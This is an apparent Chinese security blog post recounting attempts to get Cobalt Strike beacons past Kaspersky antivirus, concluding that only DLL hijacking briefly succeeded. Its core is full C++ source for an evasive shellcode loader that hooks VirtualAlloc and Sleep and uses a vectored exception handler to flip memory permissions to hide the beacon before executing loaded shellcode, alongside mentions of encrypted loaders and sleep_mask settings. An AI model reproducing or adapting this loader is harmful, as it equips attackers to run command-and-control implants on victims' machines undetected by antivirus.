由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
前言
卡巴斯基是一个全球知名的杀毒软件,之前没有对卡巴斯基免杀做过尝试,一个原因是因为国内使用卡巴斯基的用户没有那么多,另一个就是听说卡巴斯基杀软特别难绕过。这一次就是针对卡巴斯基尝试一系列免杀,分享一些失败和不算太成功的经验,希望对大家有用,也希望各位师傅可以针对免杀卡巴斯基提一些建议和思路。
免杀尝试过程
首先尝试了之前写的loader,包括aes算法、栅栏密码,可以过卡巴斯基静态查杀,但是上线几秒钟后,卡巴斯基行为检测查杀了这些马,如下
cs的profile文件配置如下,使用的是catcs4.5版本,设置了sleep_mask,用于启用内存混淆,使 Beacon 在每次 sleep 之前都混淆自己所在的内存区域,并在 sleep 结束后解混淆。
尝试了cs的不同版本cat4.5、cs4.7、cs4.9,均无法躲避卡巴的行为检测,之后又尝试了VEH异常和inline hook动态修改内存属性,代码如下
// 全局变量声明LPVOID Beacon_address; // Beacon内存地址SIZE_T Beacon_data_len; // Beacon内存长度DWORD Beacon_Memory_address_flOldProtect; // Beacon内存属性HANDLE hEvent; // 事件句柄BOOL Vir_FLAG = TRUE; // 感染标记LPVOID shellcode_addr; // shellcode内存地址// 原始函数指针声明using VirtualAllocFunc = LPVOID(WINAPI*)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);using SleepFunc = VOID(WINAPI*)(DWORD dwMilliseconds);// 指向原始函数的指针VirtualAllocFunc OriginalVirtualAlloc = VirtualAlloc;SleepFunc OriginalSleep = Sleep;// Hooked VirtualAllocLPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {LPVOID allocatedMemory = OriginalVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);if (allocatedMemory) {Beacon_data_len = dwSize;Beacon_address = allocatedMemory;printf("Memory Allocation Size: %lldn", Beacon_data_len);printf("Memory Allocation Address: %pn", Beacon_address);}return allocatedMemory;}// Hooked Sleepvoid WINAPI NewSleep(DWORD dwMilliseconds) {if (Vir_FLAG) {printf("Free Memory Address: %pn", shellcode_addr);VirtualFree(shellcode_addr, 0, MEM_RELEASE);Vir_FLAG = false;}printf("The time of Sleep: %dn", dwMilliseconds);SetEvent(hEvent);}// 判断异常代码的地址是否在Beacon内存的范围之内BOOL is_Exception(DWORD64 Exception_addr) {if (Exception_addr >= (DWORD64)Beacon_address && Exception_addr < (DWORD64)Beacon_address + Beacon_data_len) {printf("The Exception Address is a match: %llxn", Exception_addr);return true;}printf("The Exception Address not a match: %llxn", Exception_addr);return false;}// 定义VEH的异常处理函数LONG NTAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExcepInfo) {printf("VectoredExceptionHandlern");printf("The Exception Code is :%xn", pExcepInfo->ExceptionRecord->ExceptionCode);printf("The Thread Address is :%llxn", pExcepInfo->ContextRecord->Rip);if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) {printf("Modify the memory attribute to executablen");VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;}// 线程函数,用于将Beacon的内存属性设置为可读写,即去掉可执行权限DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter) {while (true) {WaitForSingleObject(hEvent, INFINITE);printf("Set Beacon memory attribute unexecutablen");VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);ResetEvent(hEvent);}return 0;}// 将十六进制中的单个字符转换为相应的整数值unsigned char hexCharToByte(char character) {if (character >= '0' && character <= '9') {return character - '0';}if (character >= 'a' && character <= 'f') {return character - 'a' + 10;}if (character >= 'A' && character <= 'F') {return character - 'A' + 10;}return 0;}bool doesFileExist(const string& fileName) {ifstream file(fileName);return file.good();}// 将十六进制字符串转换成字节型数组void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {for (int i = 0; i < hexString.length(); i += 2) {byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);}}int main() {if (!doesFileExist("1.txt")) {cout <<"1.txt文件不存在,程序退出" << endl;return 1; // 返回非零值表示程序异常退出}hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); // 创建事件(一开始无信号)AddVectoredExceptionHandler(1, &VectoredExceptionHandler); // 添加异常处理函数// 创建线程HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);CloseHandle(hThread1);// 从资源加载shellcodeHRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_TEXT1), RT_RCDATA);if (hResource != NULL) {HGLOBAL hGlobal = LoadResource(NULL, hResource);if (hGlobal != NULL) {const char* resourceData = (const char*)LockResource(hGlobal);DWORD resourceSize = SizeofResource(NULL, hResource);if (resourceData != NULL && resourceSize > 0) {// 将资源内容转换为字符串string contents(resourceData, resourceData + resourceSize);size_t size = contents.length() / 2; // 由于两个十六进制相当于一个字节,文件内容长度需除以2// 为shellcode申请一块内存shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);// 调用函数将十六进制字符串转换为字节型数组hexStringToBytes(contents, (unsigned char*)shellcode_addr, size);// 修改内存属性为可读写VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);// 执行shellcode(*(int(*)())shellcode_addr)();}}}return 0;}
测试可以在360核晶、火绒、defender环境上线,但还是被卡巴的行为检测识别并查杀
cs虽然上线了,但其实已经被干掉了,如下
最后又尝试了dll劫持上线,发现可以上线cs并没有被行为检测拦截如下
但是这只是短暂的免杀了,等到卡巴下一次内存扫描时依然会被干掉,如下,进行关键区域扫描
可以看到,扫描到了内存中的shellcode,还有明显cs的特征提示。到此gg!
总结
-
1、本次实验尝试使用了多种加密处理后的shellcode loader、VEH异常处理+inline hook 的shellcode loader、dll劫持上线,只有dll劫持可以绕过卡巴斯基的行为检测短时间内上线cs执行命令,等到卡巴下一次内存扫描会被识别到。
-
2、cs自带的sleep_mask属性已无法绕过卡巴斯基内存扫描。
-
3、希望各位师傅可以指点指点,提供一些免杀卡巴斯基的思路。
学习交流群
最近很多师傅问有没有群的,所以就搞了个群让大家交流技术吧,需要交流的师傅们可以加一下
点击下方名片进入公众号,欢迎关注!
往期推荐
Nuclei Fuzzer 实战指南:自动化 Web 应用安全测试的优化与实践
原文始发于微信公众号(随风安全):记一次不太成功的卡巴斯基免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-











评论